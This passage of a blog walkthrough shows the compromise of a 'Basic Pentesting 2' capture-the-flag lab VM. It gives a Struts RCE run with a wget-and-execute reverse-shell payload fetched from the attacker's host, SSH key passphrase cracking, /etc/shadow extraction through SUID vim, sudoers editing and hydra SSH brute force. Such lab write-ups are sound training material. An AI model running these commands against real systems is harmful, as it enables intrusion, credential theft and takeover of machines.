&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nc -lvvp 1234
&lt;/code&gt;&lt;/pre&gt;
Hosting our reverse shell backdoor on local web server,&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; http://192.168.56.1/rev_shell
&lt;/code&gt;&lt;/pre&gt;
Now the idea is we have to trigger apache struts RCE vulnerability and force the target VM to download the backdoor and execute it, which basically connects back to our listner, and then we gat a reverse shell on the target server. The addresses are :&lt;br /&gt;
&lt;br /&gt;
Target url :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; http://192.168.56.103:8080/struts2-rest-showcase-2.5.12/orders/3
&lt;/code&gt;&lt;/pre&gt;
Backdoor file location :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; http://192.168.56.1/rev_shell
&lt;/code&gt;&lt;/pre&gt;
Command to execute on the target :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; cd /tmp/;wget http://192.168.56.1/rev_shell;chmod +x rev_shell;./rev_shell
&lt;/code&gt;&lt;/pre&gt;
Running the exploit :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ python3 exploit.py http://192.168.56.103:8080/struts2-rest-showcase-2.5.12/orders/3 &quot;cd /tmp/;wget http://192.168.56.1:8080/rev_shell;chmod +x rev_shell;./rev_shell&quot;
&lt;/code&gt;&lt;/pre&gt;
and we get a reverse shell on our nc listener prompt&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUrrhM-U54ujMrBExB2gjXfUBpZoDAViqIbonq9eT6YUrzNV35Uf8XLpftyFzQ3TW0ysNFIlvJlhgtVvinMJKh09GLk6ZQTLlc_indGzAqYNcQYnHc8cYcE196h_g-ngOrQYZYNewiAM4/s1600/img3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;176&quot; data-original-width=&quot;455&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUrrhM-U54ujMrBExB2gjXfUBpZoDAViqIbonq9eT6YUrzNV35Uf8XLpftyFzQ3TW0ysNFIlvJlhgtVvinMJKh09GLk6ZQTLlc_indGzAqYNcQYnHc8cYcE196h_g-ngOrQYZYNewiAM4/s1600/img3.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Starting a tty shell with python pty library&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; python -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQQSCt__MctKgiE928Z8S8DXJYwOnnLxkr6oN-9CA5P2CXlT1ffiaV_aYB6heKJ05LHN-M0uCjkWEyH47F7b0nlPRKxiwbFmoZ64pWLRkC6XIWjvlpPoBWnVVFARdpOQmicJrGq1zlgUQ/s1600/img4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;184&quot; data-original-width=&quot;443&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQQSCt__MctKgiE928Z8S8DXJYwOnnLxkr6oN-9CA5P2CXlT1ffiaV_aYB6heKJ05LHN-M0uCjkWEyH47F7b0nlPRKxiwbFmoZ64pWLRkC6XIWjvlpPoBWnVVFARdpOQmicJrGq1zlgUQ/s1600/img4.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Privilege Escalation :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Lets try to go to /home/ directory, so we can look at number of users on the system.&lt;/div&gt;
&lt;div&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; tomcat9@basic2:/home$ ls
 
 jan  kay
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
There are two users &quot;jan&quot; and &quot;kay&quot;. Lets check the jan&#39;s folder first&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; tomcat9@basic2:/home$ cd jan
 tomcat9@basic2:/home/jan$ ls -al
 
 total 16
 drwxr-xr-x 2 root root 4096 Nov 29 16:55 .
 drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
 -rw------- 1 root jan    47 Apr 23  2018 .lesshst
 -rw------- 1 root jan   602 Nov 29 16:55 .viminfo
&lt;/code&gt;&lt;/pre&gt;
Theres nothing interesting, now checking kay&#39;s directory&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ ls -al
 
 total 48
 drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
 drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
 -rw------- 1 kay  kay   937 Jan 13 23:52 .bash_history
 -rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
 -rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
 drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
 -rw------- 1 root kay   119 Apr 23  2018 .lesshst
 drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
 -rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
 drwxr-xr-x 2 kay  kay  4096 Nov 29 17:05 .ssh
 -rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
 -rw------- 1 root kay   538 Apr 23  2018 .viminfo
 -rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
&lt;/code&gt;&lt;/pre&gt;
Theres &lt;i&gt;&lt;b&gt;.ssh&lt;/b&gt;&lt;/i&gt; folder and inside that we found the private ssh rsa keys &quot;id_rsa&quot; for user &lt;b&gt;&lt;i&gt;kay&lt;/i&gt;&lt;/b&gt;. Now with that we can logged in as &lt;b&gt;&lt;i&gt;kay&lt;/i&gt;&lt;/b&gt;.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ ls
 
 authorized_keys  id_rsa  id_rsa.pub
&lt;/code&gt;&lt;/pre&gt;
But first we need to crack the passphrase for the user &lt;b&gt;&lt;i&gt;kay&lt;/i&gt;&lt;/b&gt;. For this we are going to use johntheripper. Download the id_rsa file on attacker machine and convert it on crackable format for JTR with &lt;b&gt;&lt;i&gt;ssh2john.py&lt;/i&gt;&lt;/b&gt; You can download it from here&amp;nbsp; : &lt;a href=&quot;https://raw.githubusercontent.com/koboi137/john/bionic/ssh2john.py&quot; target=&quot;_blank&quot;&gt;Download Link&lt;/a&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ python ssh2john.py id_rsa  &amp;gt; rsa_key.dat
 
 $ john rsa_key.dat
 
 Using default input encoding: UTF-8
 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
 Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
 Cost 2 (iteration count) is 1 for all loaded hashes
 Will run 4 OpenMP threads
 Note: This format may emit false positives, so it will keep trying even after
 finding a possible candidate.
 Proceeding with single, rules:Single
 Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status
 Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance.
 Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
 Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
 Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
 Almost done: Processing the remaining buffered candidate passwords, if any.
 Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
 Proceeding with incremental:ASCII
 0g 0:00:00:44  3/3 0g/s 3137Kp/s 3137Kc/s 3137KC/s nl1nt..nl1sj
 0g 0:00:00:46  3/3 0g/s 3178Kp/s 3178Kc/s 3178KC/s mdgblk..mdgbjn
 0g 0:00:01:03  3/3 0g/s 3409Kp/s 3409Kc/s 3409KC/s rymagns..rymagls
 0g 0:00:01:04  3/3 0g/s 3420Kp/s 3420Kc/s 3420KC/s 3gsimg..3gsigs
 0g 0:00:01:08  3/3 0g/s 3461Kp/s 3461Kc/s 3461KC/s ff68br3..ff68bck
 beeswax          (id_rsa_key)
&lt;/code&gt;&lt;/pre&gt;
The passphrase is &lt;b&gt;&lt;i&gt;beeswax&lt;/i&gt;&lt;/b&gt;, now login as kay with the id_rsa_key and password &quot;beeswax&quot;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ ssh -i id_rsa kay@localhost    
 
 Could not create directory &#39;/home/tomcat9/.ssh&#39;.
 The authenticity of host &#39;localhost (::1)&#39; can&#39;t be established.
 ECDSA key fingerprint is SHA256:+Fk53V/LB+2pn4OPL7GN/DuVHVvO0lT9N4W5ifchySQ.
 Are you sure you want to continue connecting (yes/no)? yes
 yes
 Failed to add the host to the list of known hosts (/home/tomcat9/.ssh/known_hosts).
 Enter passphrase for key &#39;id_rsa&#39;: beeswax
 
 Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
 
  * Documentation:  https://help.ubuntu.com
  * Management:     https://landscape.canonical.com
  * Support:        https://ubuntu.com/advantage
 
 0 packages can be updated.
 0 updates are security updates.
 
 
 Last login: Mon Jan 13 23:44:21 2020 from ::1
 kay@basic2:~$ 
&lt;/code&gt;&lt;/pre&gt;
There is a file pass.bak&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ ls
 pass.bak
 $ cat pass.bak
 heresareallystrongpasswordthatfollowsthepasswordpolicy$$
&lt;/code&gt;&lt;/pre&gt;
Which possibly is password for root users, now lets try it.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ sudo -i
 [sudo] password for kay: heresareallystrongpasswordthatfollowsthepasswordpolicy$$
 
 root@basic2:~# 
&lt;/code&gt;&lt;/pre&gt;
Yep!!, we got the root shell.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ ls
 
 flag.txt
 root@basic2:~# cat flag.txt
 
 Congratulations! You&#39;ve completed this challenge. There are two ways (that I&#39;m aware of) to gain 
 a shell, and two ways to privesc. I encourage you to find them all!
 
 If you&#39;re in the target audience (newcomers to pentesting), I hope you learned something. A few
 takeaways from this challenge should be that every little bit of information you can find can be
 valuable, but sometimes you&#39;ll need to find several different pieces of information and combine
 them to make them useful. Enumeration is key! Also, sometimes it&#39;s not as easy as just finding
 an obviously outdated, vulnerable service right away with a port scan (unlike the first entry
 in this series). Usually you&#39;ll have to dig deeper to find things that aren&#39;t as obvious, and
 therefore might&#39;ve been overlooked by administrators.
 
 Thanks for taking the time to solve this VM. If you choose to create a writeup, I hope you&#39;ll send 
 me a link! I can be reached at josiah@vt.edu. If you&#39;ve got questions or feedback, please reach
 out to me.
 
 Happy hacking!
 root@basic2:~# 
&lt;/code&gt;&lt;/pre&gt;
And Thats it!!! there is a flag.txt file, we won !!.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Some other Methods to crack the user accounts :&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
However theres also some other method to get the root shell on the machine.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;b&gt;Finding SUID root Binaries :&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Lets try to find the binary executables with SUID root.&lt;/div&gt;
&lt;div&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ find / -perm -4000 -user root -exec ls -ld {} \; 2&amp;gt;/dev/null
 
 -rwsr-xr-x 1 root root 38984 Jun 14  2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
 -rwsr-xr-x 1 root root 14864 Jan 17  2016 /usr/lib/policykit-1/polkit-agent-helper-1
 -rwsr-xr-x 1 root root 10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
 -rwsr-sr-x 1 root root 85832 Nov 30  2017 /usr/lib/snapd/snap-confine
 -rwsr-xr-x 1 root root 428240 Jan 18  2018 /usr/lib/openssh/ssh-keysign
 -rwsr-xr-- 1 root messagebus 42992 Jan 12  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
 -rwsr-xr-x 1 root root 2437320 Nov 24  2016 /usr/bin/vim.basic
 -rwsr-xr-x 1 root root 23376 Jan 17  2016 /usr/bin/pkexec
 -rwsr-xr-x 1 root root 39904 May 16  2017 /usr/bin/newgrp
 -rwsr-xr-x 1 root root 49584 May 16  2017 /usr/bin/chfn
 -rwsr-xr-x 1 root root 136808 Jul  4  2017 /usr/bin/sudo
 -rwsr-xr-x 1 root root 40432 May 16  2017 /usr/bin/chsh
 -rwsr-xr-x 1 root root 32944 May 16  2017 /usr/bin/newgidmap
 -rwsr-xr-x 1 root root 75304 May 16  2017 /usr/bin/gpasswd
 -rwsr-xr-x 1 root root 32944 May 16  2017 /usr/bin/newuidmap
 -rwsr-xr-x 1 root root 54256 May 16  2017 /usr/bin/passwd
 -rwsr-xr-x 1 root root 40128 May 16  2017 /bin/su
 -rwsr-xr-x 1 root root 142032 Jan 28  2017 /bin/ntfs-3g
 -rwsr-xr-x 1 root root 44680 May  7  2014 /bin/ping6
 -rwsr-xr-x 1 root root 27608 Nov 30  2017 /bin/umount
 -rwsr-xr-x 1 root root 30800 Jul 12  2016 /bin/fusermount
 -rwsr-xr-x 1 root root 40152 Nov 30  2017 /bin/mount
 -rwsr-xr-x 1 root root 44168 May  7  2014 /bin/ping
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
As we can see &lt;b&gt;&lt;i&gt;vim&lt;/i&gt;&lt;/b&gt; is also has SUID root, means we can open/edit root privileged files with vim. So we are now going to crack user passwords from /etc/shadow file.&lt;br /&gt;
&lt;br /&gt;
With vim we can open /etc/shadow file can then try to crack the password for users with john.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ vim /etc/shadow
&lt;/code&gt;&lt;/pre&gt;
editing with vim on a reverse shell is cumbersome, so try to press Return until you get the usernames, and it will be look like this&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_Zff-hfZcDti6trE6Zi9qAEIKCOTNsxJRnd9VY5vPnrlumue5xLI4RwPh0B8wm_r02RQOBnq9IP4oXnuqcUew7NCVD7yh50I_sf3hG-j4P-8N7i9fefrMeE2f9mRiohGAMtGWmYcUSIw/s1600/img5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;134&quot; data-original-width=&quot;824&quot; height=&quot;104&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_Zff-hfZcDti6trE6Zi9qAEIKCOTNsxJRnd9VY5vPnrlumue5xLI4RwPh0B8wm_r02RQOBnq9IP4oXnuqcUew7NCVD7yh50I_sf3hG-j4P-8N7i9fefrMeE2f9mRiohGAMtGWmYcUSIw/s640/img5.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
There are some parts of it missing, so we write the buffer in new file at /home/code.hash file with command mode on vim by command &lt;b&gt;&lt;i&gt;:w /home/code.hash&lt;/i&gt;&lt;/b&gt;. Now we are interested in cracking only two accounts&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; kay:$6$ON8Wi9Ow$Puwzhgbc2chaNEqWFO/UVH2yJ5zVb3WirwtCxQ5ssr2OEMAuYCrHscUNe.KPUhH6ND4CYx9WWu449W3mrzVtk/:17644:0:99999:7:::
 jan:$6$Bbz6m7oU$WjYF4ZiF/QuPuiNAzl7bthT8LvIWikymEtX6tZ0WplHQUmMezufOCrKQRdxqbP8j03.x.pXv04xDgexxwbIIG0:17640:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;
Cracking with john&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ john shadow.dat
 Using default input encoding: UTF-8
 Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
 Cost 1 (iteration count) is 5000 for all loaded hashes
 Will run 4 OpenMP threads
 Proceeding with single, rules:Single
 Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status
 Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance.
 Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
 Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
 Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
 Almost done: Processing the remaining buffered candidate passwords, if any.
 Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
 armando          (jan)
&lt;/code&gt;&lt;/pre&gt;
We get the jan&#39;s password with is &lt;b&gt;armando&lt;/b&gt;. Now lets try it.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ su - jan
 
 Password: armando
 
 jan@basic2:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;Editing /etc/sudoers file :&lt;/b&gt; By editing into &lt;b&gt;&lt;i&gt;/etc/sudoers&lt;/i&gt;&lt;/b&gt; file we can give the user jan root permission. We just need to add&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; jan ALL=(ALL:ALL) ALL
&lt;/code&gt;&lt;/pre&gt;
on the file. Now open file with vim and add the above line, it gives the jan to login as root&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ vim /etc/sudoers
&lt;/code&gt;&lt;/pre&gt;
now to move cursor below press &lt;b&gt;&lt;i&gt;return&lt;/i&gt;&lt;/b&gt; and to edit press &lt;b&gt;&lt;i&gt;i&lt;/i&gt;&lt;/b&gt; then after edit press &#39;Esc + :&#39;(for command mode) and type &lt;b&gt;&lt;i&gt;:wq!&lt;/i&gt;&lt;/b&gt; and hit return. Now after edit, the file will look like this :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAIe1Ik1RxY6F_UWNXVkU20AudBzYHIC4EMg8xVE1uSZ8k-_xOS3wSm_4xOTR_IJ-KcRpo4NJ_8f5T9ztnHn9t_62hVhNhAeqw1f6o-0F05srNEoz19CEhJRAoy45ybnUpnodUHy_5xmk/s1600/img6.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;246&quot; data-original-width=&quot;734&quot; height=&quot;214&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAIe1Ik1RxY6F_UWNXVkU20AudBzYHIC4EMg8xVE1uSZ8k-_xOS3wSm_4xOTR_IJ-KcRpo4NJ_8f5T9ztnHn9t_62hVhNhAeqw1f6o-0F05srNEoz19CEhJRAoy45ybnUpnodUHy_5xmk/s640/img6.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
As we can see jan is also listed on sudoer list&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ sudo -l
 
 [sudo] password for jan: armando
 
 Matching Defaults entries for jan on basic2:
     env_reset, mail_badpass,
     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
 
 User jan may run the following commands on basic2:
     (ALL : ALL) ALL
&lt;/code&gt;&lt;/pre&gt;
Now getting a root shell&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ sudo su -
 
 root@basic2:~# ls
 ls
 flag.txt
 
 root@basic2:~#  
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Enumeration with enum4linux :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Enum4linux is a tool for enumerating information from windows and Samba systems. It is written in Perl and is basically a wrapper around the Samba tools smbclient, rpclient, net and nmblookup.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ enum4linux 192.168.56.103
&lt;/code&gt;&lt;/pre&gt;
It generated a very long result, some of the important details are :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; [+] Enumerating users using SID S-1-22-1 and logon username &#39;&#39;, password &#39;&#39;
 S-1-22-1-1000 Unix User\kay (Local User)
 S-1-22-1-1001 Unix User\jan (Local User)
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;Bruteforcing ssh&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
We can get the usernames, now we can bruteforce the ssh passwords with above usernames with hydra.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ hydra -l jan -P rockyou.txt 192.168.56.103 -t 10 ssh -o success
 
 Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
 
 Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-01-14 07:21:29
 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
 [DATA] max 10 tasks per 1 server, overall 10 tasks, 14344399 login tries (l:1/p:14344399), ~1434440 tries per task
 [DATA] attacking ssh://192.168.56.103:22/
 [STATUS] 110.00 tries/min, 110 tries in 00:01h, 14344289 to do in 2173:23h, 10 active
 [STATUS] 86.67 tries/min, 260 tries in 00:03h, 14344139 to do in 2758:30h, 10 active
 [STATUS] 72.86 tries/min, 510 tries in 00:07h, 14343889 to do in 3281:17h, 10 active
 [22][ssh] host: 192.168.56.103   login: jan   password: armando
 1 of 1 target successfully completed, 1 valid password found
 Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-01-14 07:32:10
&lt;/code&gt;&lt;/pre&gt;
password is : &quot;armando&quot;&lt;br /&gt;
